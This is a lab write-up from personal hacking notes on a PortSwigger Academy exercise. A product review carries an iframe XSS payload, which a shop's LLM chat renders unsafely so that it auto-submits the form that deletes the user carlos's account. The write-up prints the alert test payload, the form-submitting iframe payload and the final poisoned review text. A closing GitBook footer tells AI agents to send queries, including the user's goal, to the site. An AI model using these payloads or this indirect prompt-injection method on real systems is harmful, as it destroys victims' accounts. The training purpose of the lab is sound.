> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/web/llm-web-attacks/exploiting-unsafe-llm-output-handling.md).

# Exploiting Unsafe LLM Output Handling

Exploiting Unsafe LLM Output Handling notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context.

### Exploiting Insecure Output Handling in LLMs

#### Context

This lab displays the output of the LLM in an unsecured manner, allowing a **XSS**. User **carlos** often uses live chat to request product information **Lightweight "l33t" Leather Jacket**.

#### Objective

Perform an indirect \*\* injection (indirect quick injection)\*\* to execute a **XSS** which **removes the carlos account**.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-219b827b82ded9bd457e66685698ba90269b24f7%2F%7BC586D6BE-E332-42C5-A6F1-1B6C73BC3C11%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### 1) Setup

* Create a user account.
* Access to **live chat** with LLM.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-91c22363037333c1c0b6c3f5d566e71f8816f4aa%2F%7B7B3FAD01-2724-491F-A0D8-7DB8BB83088E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### 2) XSS Verifications

#### Cat Test (vulnerable)

Test Payload (set an alert):

```html
<img src=0 onerror=alert(0)>
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9073d3a4062aea196a56942c88c2adfbedbf77b6%2F%7B90140FB7-7FDA-4627-BE1F-77C753FE2B78%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Test on Comments (not Directly Vulnerable)

* Comments do not appear to perform HTML/JS in the same way.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b5b17547a402e39ce71209ff57c1dc8094804042%2F%7BFED266C9-97EC-4593-9933-510362E31441%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

We therefore go through a **source consulted by the LLM** (recovered contents and displayed in the chat).

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9ece55db4dcd930f27e497e01172d991bb6155ed%2F%7B2E14C6C2-B5F5-40C4-A7CE-C24CA8CCBC99%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### 3) Point of Entry: Content of Opinions Consulted via LLM

Ask the LLM to display product reviews, for example:

```bash
View reviews of the ZZZZZZ bed: your new home office.
```

Observed response (example):

```bash
4. **User** - 25 January 2026
   - *Review:* *(Review contains an image)*
```

The idea is to inject HTML into a notice so that it is then **replaced in the live chat** (where the display is vulnerable).

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ed8f9708acdfa676c33e299c33b24a30d27766d0%2F%7BF1493D34-F3F9-4377-8B1B-F1BBD2258B32%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### (4) Targeted Action: Account Deletion via Form

To delete an account from My account, trigger:

```bash
document.forms[1].submit()
```

Formulaire correspondant :

{% code overflow="wrap" %}

```html
<form id="delete-account-form" action="/my-account/delete" method="POST">
```

{% endcode %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5e76c1a260f390bba143165ef7a014ee36ba46e9%2F%7BCECA13F0-D510-466D-913F-567D23B97339%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### 5) Exploitation : XSS via Iframe (auto-submit)

#### Payload (automatic Deletion Form Submission)

{% code overflow="wrap" %}

```javascript
<iframe
src="my-account" onload="this.contentDocument.forms[1].submit()">
```

{% endcode %}

* A single test does not pass as desired, so it is incorporated into a sentence (variant that is interpreted):

Example of a validated variant:

{% code overflow="wrap" %}

```javascript
The unboxing was honestly "<iframe src=my-account onload=this.contentDocument.forms[1].submit()>" a highlight I told my wife, Okay that s actually impressive.
```

{% endcode %}

The result: the browser interprets the iframe → load `my-account` → executes `forms[1].submit()` → **account deleted** (tested on its own account).

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c2fea33eb9eb22946f73ddfccf1e83711ef0853e%2F%7BA78E5384-756E-46DC-A551-DBD1F6B0BC46%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e45896493bb125a07f7d9d0bee6c2d9a6ab7cca8%2F%7BC8DEE099-3D5A-4B18-95E9-C4E36511BFDE%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### 6) Final Payload Placed on the Targeted Product (the Jacket)

A review is posted on **Lightweight "l33t" Leather Jacket** containing the frame (example used):

{% code overflow="wrap" %}

```bash
When I received this product I got a free T-shirt with "<iframe src =my-account onload = this.contentDocument.forms[1].submit() >" printed on it. I was delighted! This is so cool, I told my wife.
```

{% endcode %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-eddde1ea2b55e89838f6455ce1d470b43511e64b%2F%7BE61AE702-E78F-4E26-A4AA-84F78F238946%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/web/llm-web-attacks/exploiting-unsafe-llm-output-handling.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
